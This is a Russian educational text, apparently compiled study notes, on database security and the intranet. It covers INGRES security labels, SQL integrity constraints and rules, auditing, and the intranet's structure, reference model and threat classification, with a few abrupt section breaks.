Рассмотрим пример. Пусть данные имеют уровень секретности "конфиденциально", принадлежат категории "финансы" и относятся к областям "Россия" и "СНГ". Далее, пусть степень благонадежности пользователя характеризуется меткой безопасности с уровнем секретности "совершенно секретно", категориями "финансы" и "кадры", а также областью "Россия". Такой пользователь получит доступ к данным. Если бы, однако, в метке пользователя была указана только категории "кадры", в доступе к данным ему было бы отказано, несмотря на его "совершенно секретный" уровень. Когда пользователь производит выборку данных из таблицы, он получает только те строки, меткам безопасности которых удовлетворяет степень его благонадежности. Для совместимости с обычными версиями СУБД, столбец с метками безопасности не включается в результирующую информацию. Отметим, что механизм меток безопасности не отменяет, а дополняет произвольное управление доступом. Пользователи по-прежнему могут оперировать с таблицами только в рамках своих привилегий, но даже при наличии привилегии SELECT им доступна, вообще говоря, только часть данных. При добавлении или изменении строк они, как правило, наследуют метки безопасности пользователя, инициировавшего операцию. Таким образом, даже если авторизованный пользователь перепишет секретную информацию в общедоступную таблицу, менее благонадежные пользователи не смогут ее прочитать.
Специальная привилегия, DOWNGRADE, позволяет изменять метки безопасности, ассоциированные с данными. Подобная возможность необходима, например, для коррекции меток, по тем или иным причинам оказавшихся неправильными.
Представляется естественным, что СУБД INGRES/Enhanced Security допускает не только скрытое, но и явное включение меток безопасности в реляционные таблицы. Появился новый тип данных, security label, поддерживающий соответствующие операции сравнения. INGRES/Enhanced Security - первая СУБД, получившая сертификат, эквивалентный аттестации на класс безопасности B1. Вероятно, метки безопасности постепенно войдут в стандартный репертуар систем управления базами данных.
132. Организация аудита событий в системах управления базами данных, средства контроля целостности информации.
1.Введение
Системы управления базами данных, в особенности реляционные СУБД, стали доминирующим инструментом хранения больших массивов информации. Сколько-нибудь развитые информационные приложения полагаются не на файловые структуры операционных систем, а на многопользовательские СУБД, выполненные в технологии клиент/сервер. В этой связи обеспечение информационной безопасности СУБД, и в первую очередь их серверных компонентов, приобретает решающее значение для безопасности организации в целом.
Для СУБД важны все три основных аспекта информационной безопасности - конфиденциальность, целостность и доступность. Общая идея защиты баз данных состоит в следовании рекомендациям, сформулированным для класса безопасности C2 в "Критериях оценки надежных компьютерных систем".
В принципе некоторые СУБД предлагают дополнения, характерные для класса B1, однако практическое применение подобных дополнений имеет смысл, только если все компоненты информационной структуры организации соответствуют категории безопасности B. Достичь этого непросто и с технической, и с финансовой точек зрения. Следует, кроме того, учитывать два обстоятельства. Во-первых, для подавляющего большинства коммерческих организаций класс безопасности C2 достаточен. Во-вторых, более защищенные версии отстают по содержательным возможностям от обычных "собратьев", так что поборники секретности по сути обречены на использование морально устаревших (хотя и тщательно проверенных) продуктов со всеми вытекающими последствиями в плане сопровождения.
Для иллюстрации излагаемых понятий и средств будут использоваться СУБД INGRES, Informix и Oracle.
2. Поддержание целостности данных в СУБД
Для коммерческих организаций обеспечение целостности данных по крайней мере не менее важно, чем обеспечение конфиденциальности. Конечно, неприятно, когда кто-то подглядывает за суммами на счетах клиентов, но гораздо хуже, когда в процессе перевода денег со счета на счет часть суммы исчезает в неизвестном направлении. Известно, что главными врагами баз данных являются не внешние злоумышленники, а ошибки оборудования, администраторов, прикладных программ и пользователей. Защита от подобных ошибок - главная тема этого раздела.
С точки зрения пользователя СУБД, основными средствами поддержания целостности данных являются ограничения и правила.
2.1. Ограничения
Ограничения могут относиться к таблицам или отдельным столбцам. Ограничения на столбцы задаются при создании таблицы, в операторах CREATE TABLE Табличные ограничения относятся к группе столбцов и могут задаваться как при создании таблицы, так и позже, посредством оператора ALTER TABLE. Следующий пример содержит именованное ограничение, связывающее значения в двух столбцах:
CREATE TABLE dept (dname char(10), budget money, expenses money,
CONSTRAINT check_amount CHECK (budget > 0 and expenses <= budget));
{Бюджет должен быть положительным, а расходы не должны выходить за рамки бюджета}
Ссылочные ограничения отвечают за целостность связей между таблицами. Подобное ограничение требует, чтобы каждому значению в столбце или группе столбцов одной таблицы соответствовало ровно одно значение в другой таблице. Название ограничения объясняется тем, что такие значения играют роль ссылок между таблицами в реляционной модели. Приведем пример ссылочного ограничения:
CREATE TABLE emp (ename char(10), edept char(10) references dept(dname));
{Ни один работник не должен числиться в неизвестном отделе}
Ограничения всех видов накладываются владельцем таблицы и влияют на исход последующих операций с данными. Перед завершением выполнения SQL-оператора производится проверка имеющихся ограничений. При обнаружении нарушений СУБД сигнализирует о ненормальном завершении и аннулирует внесенные оператором изменения. Отметим, что для наложения ссылочного ограничения необходимо обладать привилегией REFERENCES по отношению к таблице, на которую делается ссылка (dept в примере выше). Ограничения можно не только накладывать, но и отменять. При этом между ограничениями могут существовать зависимости, и отмена одного из них может потребовать ликвидации других (ссылочных) ограничений, зависящих от первоначального.
Рассмотрим следующий пример:
CREATE TABLE dept (name char(10) NOT NULL, location char(20), CONSTRAINT dept_unique UNIQUE(name));
CREATE TABLE emp (name char(10), salary decimal(10,2), edept char(10) CONSTRAINT empref REFERENCES dept(name));
Если требуется удалить ограничение dept_unique, можно воспользоваться следующим оператором:
ALTER TABLE dept DROP CONSTRAINT dept_unique cascade;
Слово cascade означает, что следует удалить также все ограничения, прямо или косвенно зависящие от dept_unique. В данном случае будет изъято ограничение empref. Если вместо cascade указать restrict, то есть сделать попытку удалить только ограничение dept_unique, СУБД зафиксирует ошибку. Тем самым обеспечивается целостность системы ограничений. В СУБД INGRES делается попытка примирить контроль ограничений и эффективность функционирования. При массовом копировании данных контроль ограничений отключается. Это значит, что необходимо дополнять копирование запуском процедуры глобальной проверки целостности.
2.2. Правила
Правила позволяют вызывать выполнение заданных действий при определенных изменениях базы данных. Обычно действие - это вызов процедуры. Правила ассоциируются с таблицами и срабатывают при измененииэтих таблиц.
В отличие от ограничений, которые являются лишь средством контроля относительно простых условий, правила позволяют проверять и поддерживать сколь угодно сложные соотношения между элементами данных в базе.
Как и в случае ограничений, проверка правил отключается при массовых операциях копирования. Администратор базы данных может также явным образом отменить проверку правил, воспользовавшись оператором
SET NORULES;
Оператор
SET RULES;
позволит затем восстановить работу механизма правил. По умолчанию этот механизм включен. Для удаления правил служит оператор
DROP RULE правило;
СУБД обеспечивает автоматическое удаление правил в тех случаях, когда удаляется соответствующая таблица. Тем самым поддерживается целостность системы таблиц и правил.
В контексте информационной безопасности важно отметить, что создать правило, ассоциируемое с таблицей, может владелец этой таблицы, имеющий право на выполнение соответствующей процедуры. Пользователь, действия которого вызывают срабатывание правила, должен обладать лишь необходимыми правами доступа к таблице. Тем самым правила неявно расширяют привилегии пользователей. Подобные расширения нуждаются в строгом административном контроле, поскольку даже незначительное изменение правила или ассоциированной процедуры может кардинально повлиять на защищенность данных. Ошибка же в сложной системе правил вообще чревата непредсказуемыми последствиями.
3. Аудит
Чтобы иметь данные о процессах сбора, обработки, хранения и распространения информации, СУБД должна обладать подсистемой аудита (или обладать функцией аудита), т.е. иметь способность (возможность) фиксировать происходящие события. Подсистема аудита производит регистрацию событий, в том числе действий пользователей. Регистрируется время события, источник и данные события. События сохраняются в специальной базе данных для последующего анализа и статистической обработки. Среди прочих регистрируются и критические события, такие как попытки нарушения прав доступа к объектам. Администратор определяет уровень критичности событий, режим оповещения, а также действия, которые необходимо выполнить при возникновении таких событий.
Основной целью подсистемы аудита является идентификация угроз безопасности и их предотвращение. Анализ угроз должен показать, где, когда и при каких условиях информация в системе может потерять свою доступность, целостность и ценность.
Возможные протоколируемые события:
133. Понятие интранета как примера открытой системы и задачи ее защиты. Структура интранета. Эталонная модель интранета. Виды интранета. Интранет и экстранет.
2.1. Понятие интранета
Одним из основных объектов защиты любой современной организации является ее интрасеть (intranet), или интранет. Интранет - это информационная инфраструкту ра компании, представляющая собой ее внутреннюю корпоративную сеть, усовер шенствованную веб-технологией (с использованием программных продуктов и тех нологий Интернета, например веб-сервера), технологией клиент-сервер, а также включающая в себя средства управления сетью и распределенными приложениями. Сразу отметим, что веб-технология коренным образом изменяет способы использо вания информации, предоставляя самые разнообразные возможности для ее пользо вателей и владельцев и делая сотрудничество независящим от времени и пространст ва. Это следующий важный этап в эволюции локальных вычислительных сетей, оп ределяемый тремя ключевыми моментами. Во-первых, новые методы управления информацией и их влияние на бизнес-процессы в современной организации. Во-вторых, организационно-методологическая и административная сторона новой тех нологии управления информацией. В-третьих, вопросы архитектуры, системно-технической инфраструктуры и технологических средств построения интранета.
Интранет-системы служат для создания интегрированной информационной сре ды, используемой всеми сотрудниками компании и выполняющей как справочно-информационные функции, так и функции автоматизации различных бизнес-процессов. Их функциональные возможности охватывают очень широкий спектр -начиная от работы со статическими веб-страницами, которые заменяют корпоратив ные печатные документы или обеспечивают новый способ совместного использова ния информации, и кончая сложными клиентскими интерфейсами для офисных сер верных приложений [17-20]. Они обладают такими огромными потенциальными возможностями за счет применения инструментальных средств, помогающих компа ниям эффективнее интегрировать различные информационные технологии, совмест но использовать данные, реализовывать системы коммуникаций и коллективной ра боты. Следующие по популярности приложения для этих систем - управление доку ментами, составление и ведение коллективных расписаний и корпоративных каталогов.
Целями создания такой среды являются:
■ постоянное накопление знаний внутри компании и предоставление удобных ме ханизмов использования накопленных знаний;
■ ускорение производственного и непроизводственного документооборота;
■ сокращение непроизводственных расходов;
■ распространение корпоративной культуры на всю организацию независимо от места нахождения отдельных подразделений, или пользователей.
При этом:
■ создается единое хранилище справочной информации и нормативной документации;
■ достигается максимальная стандартизация и упрощение рутинных операций по созданию и публикации документов компании;
■ координируются работы и взаимодействие пользователей ИС через системы элек тронной почты и средства коллективной работы (groupware);
■ обеспечивается удобная навигация, быстрый поиск и доступ к информации;
■ предоставляется доступ к данным из различных бизнес-приложений;
■ поддерживается безопасность доступа к данным и управление ролями пользова телей.
Для обмена информацией внутри организации интранет использует технологии глобальной сети Интернет. Кроме того, из интранета почти всегда открыт доступ пользователей (или хотя бы части пользователей) в Интернет.
Впервые понятие интранета было введено в 1994 г. Стивеном Теллином (Steven Telleen) [21] и основывалось на том, что это сеть, используемая организацией и со держащая информацию, доступную только ее сотрудникам. Вначале само слово мало что значило для подавляющего большинства людей, многие из них, прочтя это слово, подумали бы, что это опечатка. После того как это слово завоевало право на жизнь, возник вопрос, что под этим понимается, ведь после того, как термин появился, его стали использовать все. Многие компании "вдруг" обнаружили, что давно этим зани маются и являются "ведущими производителями" в этой области. Сейчас практиче ски невозможно найти фирму, которая бы не говорила, что она находится в авангарде данного направления. При этом глубина понимания и значение, которое люди вкла дывают в понятие интранета, очень сильно различаются. Сказать, что интранет - это применение технологии Интернета в рамках корпоративных систем, - это на самом деле не сказать практически ничего.
В настоящий момент четкого определения интранета найти в научной литературе не представляется возможным. Поэтому постараемся описать это уже ставшее реаль ностью явление современного мира через его характерные черты. Их три.
1. Использование Интернет-технологий внутри организации с целью облегчения коммуникаций и доступа к информации.
2. Наличие механизмов, объединяющих людей, процессы и информацию в рамках организации.
3. Предоставление служащим либо просто информации, заменившей информаци онные бюллетени, либо доступа к информации, процессам и приложениям посредст вом корпоративной информационной сети.
Итак, главными отличительными чертами интранета являются:
■ ее основа - Интернет-технологии и стандарты;
■ использование внутри организации,
■ обеспечение некоторой интеграции ресурсов и доступа.
Применение в интранете интеграционной технологии означает возможность эф фективного и разумного объединения всех программных решений (как наработанных ранее, так и создаваемых в настоящий момент и проектируемых) на основе разно родного АО в общую информационную среду с едиными правилами генерации и по требления информации, с единым унифицированным доступом к информации [22]. На практике интранет позволяет создать ИС организации на уже существующей ос нове, независимо от принятой в организации технологии обработки информации, не зависимо от существующих программных решений и аппаратной платформы. При чина заключается как в максимально обобщенном подходе интранета к потреблению информации, так и в максимально гибких технических методах и подходах, которые лежат в основе интранета. Сила веб-технологии - в эволюционном характере ее вне дрения, который позволяет добиться практически 100 %-го сохранения сделанных ранее инвестиций. Все сложное и дорогостоящее хозяйство: сети, компьютеры, БД, прикладные системы - сохраняется, оно не подлежит замене. Его нужно адаптиро вать, но адаптация не означает ни смены платформы, ни каких-то дополнительных больших вложений в инфраструктуру.
Технологии, необходимые для создания интранета и реализующие их средства, широко распространены. К ним относятся:
1) протокол TCP/IP как основной способ, при помощи которого компьютеры свя зываются в сети;
2) сетевая файловая система, например NFS (Network File System);
3) веб-браузер (ы) (программа поиска и просмотра системы Web);
4) веб-сервер (ы);
5) гипертекстовые редакторы (HTML, Dynamic HTML, XML и т. п.);
6) средства связи (типа электронной почты, видео- и аудиоконференц-связи и т. п.).
Как и Интернет, для осуществления соединения и обмена данными интранет ис пользует стек протоколов TCP/IP. Он дает возможность уникальной адресации ком пьютеров в сети (компьютеры имеют IP-адреса) и также обеспечивает механизм, при помощи которого компьютеры могут находить друг друга и соединяться. Доступ к информации с рабочих мест пользователей осуществляется на основе установления IP-соединений между их компьютерами и хранилищами (или источниками) инфор мации.
Стандартизованная среда Интернета позволяет взаимодействовать между собой различным инструментальным средствам и обеспечивает простой и удобный доступ к таким корпоративным ресурсам, как БД, с помощью специальных сценариев, напи сать которые не представляет особого труда. Объединяя эти средства с легким для изучения языком разметки гипертекста HTML и графическими вставками, настраи ваемую среду интранета можно создать всего за несколько недель.
Поскольку в большинстве существующих сетей используются те или иные прото колы из стека TCP/IP, с интранетом могут работать все сотрудники компании. Более того, применение уже реализованных технологий позволяет компаниям избежать значительных капиталовложений в аппаратное обеспечение и кабельную систему. К примеру, чтобы сотрудник имел возможность получать корпоративную информа цию непосредственно на своей настольной системе, все, что нужно сделать, - это до бавить клиентские драйверы для TCP/IP, веб-браузер и другие инструментальные средства Интернета.
Интранет обязательно использует протокол HTTP (Hypertext Transfer Protocol). Он применяется для передачи текстов, изображений и гиперссылок (т. е. связей с други ми электронными документами), указывающих на веб-страницы. HTTP дает возмож ность ресурсам интранета обмениваться информацией в определенном формате.
Интранет может и не иметь прямого соединения с Интернетом. В некоторых слу чаях канал доступа к Интернету доставляет лишние проблемы, особенно когда при ходится работать с конфиденциальной информацией. В большинстве случаев, одна ко, соединение с Интернетом увеличивает ценность интранета, поскольку оно откры вает доступ к ресурсам Интернета непосредственно с веб-страниц интранета.
Все полезные качества веб-технологии реализуются в рамках простой схемы: про грамма просмотра, которая размещается на рабочем месте пользователей (навигатор, или браузер), веб-сервер, который выступает в качестве информационного концен тратора, и стандарты взаимодействия между клиентом и веб-сервером. Это практиче ски все, что необходимо для построения пилотного варианта интранета. На этой ос нове можно расширять спектр функций системы, добавляя такие сервисы, как поиск информации, коллективная работа с единым массивом информации и ряд других.
Условно основные компоненты интранета представлены на рис. 10. Эта сеть по является тогда, когда в организации есть профессионалы, занимающие новые долж ности с высоким уровнем знаний в области сетевых и информационных технологий и высокой степенью ответственности, способные за счет самых передовых технологий обеспечивать сотрудников организации самой современной информацией, нужной им для выполнения задач компании.
Из вышеизложенного следует, что у Интернета и интранета есть много общего. Самым главным является общий основной протокол IP (Internet Protocol) - при его использовании передача информации в интранет осуществляется через установлен ные IP-соединения. Но между интранетом и Интернетом существует и много разли чий. Они представлены в табл. 1.
Таблица 1. Сравнение интранета и Интернета
|
Интернет |
Интранет |
|
Пакеты принадлежат всем |
Пакеты принадлежат организации |
|
Расходы на поддержание сети распределе ны между пользователями |
Расходы на интранет оплачиваются органи зацией |
|
Централизованного управления нет |
Управление осуществляется организацией |
|
Слабые политики безопасности |
Сильные политики безопасности |
|
Использование по желанию |
В организации используют все обязательно |
|
Нет контролирующей организации |
Контроль со стороны организации |
Теперь перечислим некоторые особенности интранета.
■ Низкая стоимость клиентского обеспечение, так как вся работа в интранет осуще ствляется через веб-браузер, что снижает требования к ПО и конфигурации рабо чего места пользователя.
■ Гибкость за счет того, что в единой инфраструктуре работают централизованные ИС и распределенные приложения, а также есть возможность реконфигурации топологии интранета.
■ Масштабируемость, предполагающая как программное, так и аппаратное наращи вание обеспечения интранета.
■ Интеграция данных, представленных в виде как структурированной, так и не структурированной информации, и приложений, подразделяемых на централизо ванные и распределенные.
■ Сочетание централизованного управления (пользователями, информационными ресурсами) с возможностями непрямого децентрализованного управления неко торыми локальными информационными ресурсами.
■ Развитые средства подготовки документов с возможностями коллективной рабо ты, предполагающими их обсуждение, коррекцию, согласование и утверждение.
Можно выделить ряд преимуществ интранета по сравнению с другими видами сетей.
■ В интранете объединяются данные из различных источников (внутренних и внеш них, структурированных и неструктурированных).
■ Обеспечивается доступ к данным всем пользователям внутри организации (в соответствии с политикой доступа).
■ Информация предоставляется в формате, удобном для всех пользователей.
■ В интранет гарантирована производительность, доступность, наличие необходи мых сервисов и обеспечение информационной безопасности.
Эти преимущества интранета положительно влияют на успешность осуществле ния бизнеса.
■ Повышается конкурентоспособность за счет:
• лучшего доступа к информации конкурентов и к внутренней информации;
■ своевременного и постоянного (не ограниченного по времени) доступа (сразу по требованию);
■ единого интерфейса для доступа;
■ упрощенной процедуры публикации;
• совместного использования (разделения) знаний;
■ новых возможностей для бизнеса.
■ Увеличивается объем продаж за счет:
■ более быстрого доступа к информации, нужной для игры на рынке;
■ использования возможностей мультимедиа в Web;
■ сокращения времени до выхода на рынок;
■ соединения клиентов с внутренними системами;
• прямой и постоянной связи с покупателями;
• снижения затрат.
■ Затраты снижаются сразу и исчезают совсем позднее за счет:
■ большей автоматизации труда;
• снижения затрат на ПО, бумагу и распространение информации;
■ более быстрого доступа к информации.
■ Возрастает производительность (благодаря лучшему доступу к информации и приложениям), так как для интранета характерно следующее:
■ единый платформонезависимый интерфейс;
• проще изучить, проще расширить;
■ доступ к внешней информации;
■ проще опубликовать информацию;
■ связь с существующими данными;
■ своевременная информация и обучение;
• постоянный доступ к информации;
■ доставка информации на рабочие станции;
■ шлюзы к существующим приложениям;
■ меньше проблем из-за несовместимости;
■ не нужно тестировать браузеры;
■ широкое использование группового ПО;
■ более тесная интеграция информации и средств ее представления и обработки и др.
■ Сокращается срок до выхода продукта на рынок (например, благодаря совмест ным разработкам) за счет:
■ использования накопленной информации;
• немедленного совместного использования информации (со всем миром, в том числе и с бизнес-партнерами);
■ сокращения срока разработки.
■ Улучшается работа с клиентами за счет:
■ меньших вложений;
• работы со всем миром 24 ч в сутки;
■ ссылок;
■ совместного использования информации с другими пользователями;
■ интеллектуального поиска информации;
• подписки на обновления;
■ доступа к внутренним специалистам-экспертам.
■ Расширяется сотрудничество за счет:
■ совместной работы, в том числе и над документами;
• использования средств конференций (аудио-, видео-) и других средств быстрой связи в реальном времени;
■ поддержки работы виртуальных, распределенных групп;
■ отсутствия ограничений на вычислительные платформы и сети.
Для интранета отмечается еще одно уникальное качество новой технологии, кото рое заключается в том, что усложнение системы, расширение сервисов, детализация функций не требует от пользователя наращивания специальных знаний. Он учится работе с информацией один раз, а далее, пользуясь в своей повседневной работе средствами навигации по информационному пространству организации, он раз за ра зом обнаруживает новые возможности, облегчающие выполнение его задач, но при этом инструмент-то остается старым, надежным и испытанным. Психологически ис ключительно важно. Человек начинает по-другому относиться к работе с информа цией - он начинает работать быстрее, эффективнее, он видит реальные результаты, приобщается к коллективной работе над колоссальной ценностью, практически са мым важным, чем владеет организация - ее информационным хранилищем.
Анализ основных тенденций развития интранета позволяет заключить, что про гресс в данной области пойдет по следующим направлениям:
■ интеллектуальный сетевой поиск;
■ высокая интерактивность навигаторов за счет применения Java-технологии;
■ опора на сетевые компьютеры;
■ превращение интерфейса навигатора в универсальный интерфейс с компьютером.
2.1.1. Структура интранета
Для понимания структуры интранета еще раз выделим ряд ее свойств. На сервере порождается конечный продукт - информация в форме, предназначенной для пред ставления пользователю. Для обмена информацией между клиентом и сервером при меняется протокол открытого стандарта. Информация представляется клиентам в ви де, удобном для восприятия. Прикладная система сконцентрирована на сервере (на клиентах, кроме программ-навигаторов, ничего нет). Рабочее место представляет со бой простое универсальное устройство. Фактически, это графический терминал для потребления информации - сетевой компьютер, снабженный специализированным ПО - программой навигации. Вся потребляемая информация порождается на сервере. Доступ к информации осуществляется через одну и ту же программу, не требующую локальных данных. Устройство на рабочем месте целиком настраивается из центра и нет необходимости выполнять какие-то дополнительные действия по его конфигури рованию.
Другое полезное качество интранета - это облегченное централизованное управ ление, причем не только серверной частью, но и рабочими местами. Сегодня уже можно говорить о централизованном конфигурировании каждого рабочего места, что на несколько порядков упрощает и удешевляет администрирование ИС. В таких сис темах проще решается и вопрос обеспечения ИБ. Проблема защиты сложна в первую очередь не тем, что сложны сами по себе задача и каждая отдельная подзадача обес печения ИБ, а тем, что задач много и они разнообразны. При переходе к интранету задача качественно упрощается. Во-первых, гораздо большая часть ресурсов центра лизована. Ими не только легче управлять, но их и легче защищать. Во-вторых, внеш ние интерфейсы оказываются унифицированными, стандартными. Способов взаимо действия удаленного рабочего места с центральным сервером оказывается очень не много. Не нужно более заботиться о десятках или даже сотнях приложений на компьютерах-клиентах и для каждого из них решать задачу защиты взаимодействия клиента с сервером. Достаточно обеспечить стандартное решение для одного рабоче го места, которое и будет стандартным для всех.
После того как данные централизованы, появилась возможность тиражировать их в разные точки организации для решения дополнительных задач, которые возникают в большой ИС с целью повышения производительности и надежности. Технология тиражирования информации позволяет кардинально решить вопрос о надежности ИС за счет дублирования и раздельного хранения важной информации.
Структура интранета может быть представлена моделью, состоящей из четырех уровней (рис. 11): инфраструктуры, интеграции, приложений и представлений.
Сетевая инфраструктура является основой интранета, обеспечивающей необхо димые соединения и предоставляющей доступ к информации из любого места орга низации (подробнее сетевая инфраструктура рассмотрена в п. 2.1.3.1). Ее основу со ставляет АО интранета с соответствующим ПО, поддерживающим работу аппарат ных средств.
Уровень интеграции содержит информационные хранилища и архивы (репозито-рии) бизнес-процессов, предназначенных для специфической в данной организации обработки информации, и корпоративные стандарты (регламенты), также опреде ляющие допустимые процедуры обработки информации в рамках организации.
Уровень приложений объединяет ранее используемые и новые прикладные сред ства, реализующие задачи бизнеса организации (вопросы приложений обсуждаются в п. 2.1.3.3).
Уровень представлений является основным связующим звеном между интранетом и конечными пользователями - потребителями ее информационных и сетевых ресурсов.
На рис. 11 изображен и еще один необходимый элемент структуры - это система управления интранетом, координирующая работу всех уровней. Ее функции будут рассмотрены в п. 2.1.3.5.
Базируясь на приведенной структуре, для интранета можно выделить четыре уровня абстракции:
1) уровень логики основных приложений, необходимых для поддержки работы и информационного наполнения портала (каталог, подбор новостей, другие сервисы);
2) уровень бизнес-логики приложений, в которых реализуются основные бизнес-процессы компании;
3) уровень описания логики отображения результатов работы приложений уровня бизнес-логики;
4) уровень представления информации в веб-браузере.
В интранете выделяют три уровня коммуникаций - аппаратный, программный и информационный [23]. Аппаратный и программный уровни отвечают за организацию надежного канала связи и передачу информации без искажений, а также организацию хранения информации и эффективного доступа к ней. Информационный уровень яв ляется определяющим при поиске и передаче знаний. Здесь также можно выделить минимум три уровня, без которых любое общение либо невозможно, либо бессмыс ленно.
1. Универсальный язык представления корпоративных знаний - это такой язык описания, который не связан с конкретными предметными областями деятельности организации и определяет грамматику и синтаксис. К этой категории могут отно ситься графический язык описания алгоритмов, сетевых графиков, моделей данных, бизнес-процессов, язык разметки документов. Уровень абстракции таких языков столь высок, что не связан со спецификой какого-либо предмета. Его использование преследует решение нескольких задач:
■ обеспечение унификации представления знаний;
■ обеспечение однозначности толкования знаний всех уровней;
■ сведение процессов обработки информации к простым процедурам, допускающим их автоматизацию; к таким типовым процедурам можно отнести навигацию, по иск информации, организацию связей между данными.
2. Модели и представления. Этот уровень определяет конкретную специфику предметов деятельности компании: понятия и символы предметной области, теоре тические представления о предмете и самой организации. Например, такая область, как финансовый учет, на данном уровне должна включать толкование всех исполь зуемых понятий, базовые принципы и теоретические модели финансового учета, нормы, правила, классификаторы, стандарты. Знания этого уровня иногда называют метаданными, т. е. данными, описывающими первичные данные (фактические зна ния). Уровень моделей и представлений также решает несколько задач.
■ Обеспечение единого представления деятельности организации всеми ее сотруд никами: единой системы понятий, целей деятельности и принципов их достиже ния, единых принципов поведения и мотивации, единой системы мер, эталонов, классификаторов, нормативов.
■ Обеспечение интерпретации первичных данных. Без корпоративных знаний уров ня моделей и представлений невозможна не только интерпретация и оценка пер вичных данных, но даже их измерение. Более того, любое событие становится значимо (наблюдаемо) с точки зрения управления только после того, как оно на шло себе место в системе корпоративных представлений.
■ Обеспечение навигации по всему информационному пространству организации.
3. Фактические знания - это конкретные предметные знания, представляющие со бой факты, выраженные в терминах предметной области. Такие факты являются пер вичными данными и могут содержаться в документах, базах данных, почтовых и но востных сообщениях.
Все три уровня образуют корпоративные знания и являются содержательным кон текстом корпоративных коммуникаций.
Ресурсы интранета, как и любой другой сети, подразделяются на информацион ные и сетевые. Под информационными ресурсами интранета, согласно определению Гостехкомиссии РФ, будем понимать совокупность данных и программ, задейство ванных при обработке информации техническими средствами. К сетевым ресурсам принято относить сетевые сервисы и АО интранета.
3.2. Угрозы ресурсам интранета и причины их реализации
Угрозы осуществляются на практике в результате стечения случайных обстоятельств (ошибки, пропуски, сбои электроэнергии, природные бедствия) либо из-за преднамерен ных действий злоумышленников. Общепринятой классификации угроз безопасности по ка не существует. Возможна классификация по следующим признакам:
1) цели реализации (цели могут быть связаны, например, со свойствами конфи денциальности, целостности и доступности информации, которые собирается нару шить злоумышленник, или с расширением прав доступа и получением полного кон троля над работой компьютера пользователя или определенным сервером);
2) принципу воздействия на систему (например, взлом парольной защиты или на падение на основе сетевого протокола);
3) характеру воздействия на систему (например, пассивный перехват трафика или активная подмена данных);
4) причине появления используемой ошибки защиты (например, из-за отсутствия средств обнаружения вторжений, неправильной настройки средств защиты или неус тановки защищающих обновлений);
5) объекту атаки (например, данные, программы, сетевое обеспечение);
6) используемым средствам атаки;
7) состоянию объекта атаки (например, явное изменение состояния или отсутст вие каких бы то ни было изменений, так как осуществляется лишь пассивный пере хват входящих и исходящих пакетов или почтовых сообщений);
8) по источнику угроз и т. п.
Чуть подробнее рассмотрим последнюю классификацию, так как каждая угроза обязательно имеет свой источник. Их можно разделить на три класса [http://www. c-news.ru/olclcom/security/elvis_class.shtml].
1. Антропогенные:
■ внешние: криминальные структуры; потенциальные преступники и хакеры; не добросовестные партнеры; технический персонал поставщиков телематических услуг; представители надзорных организаций и аварийных служб; представители силовых структур;
■ внутренние: основной персонал (пользователи, программисты, разработчики); представители службы защиты информации (администраторы); вспомогательный персонал (уборщики, охрана); технический персонал (жизнеобеспечение, экс плуатация).
2. Техногенные:
■ внешние: средства связи; сети инженерных коммуникаций (водоснабжение, кана лизация); транспорт;
■ внутренние: некачественные технические средства обработки информации; нека чественные программные средства обработки информации; вспомогательные средства (охрана, сигнализация, телефония); другие технические средства, приме няемые в учреждении.
3. Стихийные (чаще всего внешние): пожары; землетрясения; наводнения; урага ны; магнитные бури; радиоактивное излучение; различные непредвиденные обстоя тельства; необъяснимые явления; другие форсмажорные обстоятельства.
Согласно ставшему уже классическим подходу для информации вообще выделя ются три вида угроз, связанные с ее основными свойствами.
1. Угрозы конфиденциальности (конфиденциальность - защищенность информа ции от несанкционированного ознакомления с нею, подразумевающая некоторую классификацию данных, получение либо использование которых неавторизованными для этого лицами может стать причиной серьезного ущерба для владельцев или поль зователей этой информации); примеры угроз: хищение (копирование) информации и средств ее обработки, утрата (неумышленная потеря, утечка) информации и средств ее обработки.
2. Угрозы целостности (целостность - состояние, при котором данные, представ ленные в компьютере, в точности соответствуют данным в исходных документах и при этом не могут быть подвержены неумышленным или умышленным искажениям или разрушениям; информация может пострадать от сознательных действий зло умышленника, от ошибок персонала, от пожара, аварий и др.); примеры угроз: моди фикация (искажение) информации, отрицание ее подлинности, навязывание ложной информации.
3. Угрозы доступности (доступность - возможность за приемлемое время полу чить требуемую информационную услугу, причем наличие системы безопасности не должно создавать помех нормальной работе системы); примеры угроз: блокирование информации; уничтожение информации и средств ее обработки.
Общую классификацию угроз интранету можно представить следующим образом.
1. Угрозы конфиденциальности данных и программ. Реализуются при несанкцио нированном доступе (НСД) к данным, программам или каналам связи. Полезная ин формация также может быть получена и при перехвате электромагнитного излуче ния, создаваемого аппаратурой системы. Определенные сведения о работе системы дает и наблюдение за характером процесса обмена сообщениями (трафиком) без дос тупа к их содержанию.
2. Угрозы целостности данных, программ, аппаратуры. Целостность данных и программ нарушается при несанкционированном уничтожении, добавлении лишних элементов и модификации данных, изменении порядка расположения данных, фор мировании фальсифицированных платежных документов в ответ на законные запро сы, активной ретрансляции сообщений с их задержкой. Повреждение, похищение или незаконное изменение алгоритмов работы аппаратуры приводит к нарушению ее це лостности.
3. Угрозы доступности данных. В случае их реализации объект (пользователь или процесс) не получает доступа к законно выделенным ему службам или ресурсам. Происходит захват всех ресурсов, блокирование линий связи несанкционированным объектом в результате передачи по ним своей информации или стирание необходи мой системной информации. Возникает ненадежность или плохое качество обслужи вания в системе, и, следовательно, падает достоверность и своевременность доставки платежных документов.
4. Угрозы отказа от выполнения транзакций. Если легальный пользователь вы полняет в системе транзакции (передает или принимает платежные документы), а за тем отрицает свое участие в них, чтобы снять с себя ответственность, тогда и реали зуется данный вид угроз.
2.1.2. Эталонная модель интранета
Эталонная модель интранета объединяет информационное наполнение, базовые сер висы и базовые механизмы [24]. В ней отражены все основные средства интранета:
1) вычислительные платформы;
2) пользовательские средства;
3) системы нахождения информации (навигации);
4) средства управление публикациями и документами;
5) базы данных/репозитории;
6) средства разработки приложений;
7) средства интеграции с наследуемыми системами;
8) средства управления;
9) средства связи (конференции/сотрудничество).
Базовые механизмы
Базовые механизмы интранета представлены на рис. 12 [24]. Обычный пользова тель взаимодействует с ресурсами интранета через веб-узлы (Web sites) посредством пользовательских средств (user tools), в которых для него имеются средства поиска информации (discovery tools) и средства поддержки (user support). Разработчики соз дают пользовательские средства и веб-средства (Web tools), состоящие из веб-приложений (Web applications) и средств управления средой интранета (environment managers) и поддерживающие работу издательских систем (publishing systems). Про вайдеры обеспечивают хранение информации в хранилище, или репозитории (information repository), и работу издательских систем (publishing systems).
Оговоримся, что на эталонной модели представлен базовый набор механизмов, которые присутствуют в интранете любой организации. В реальной сети возможно применение и других механизмов.
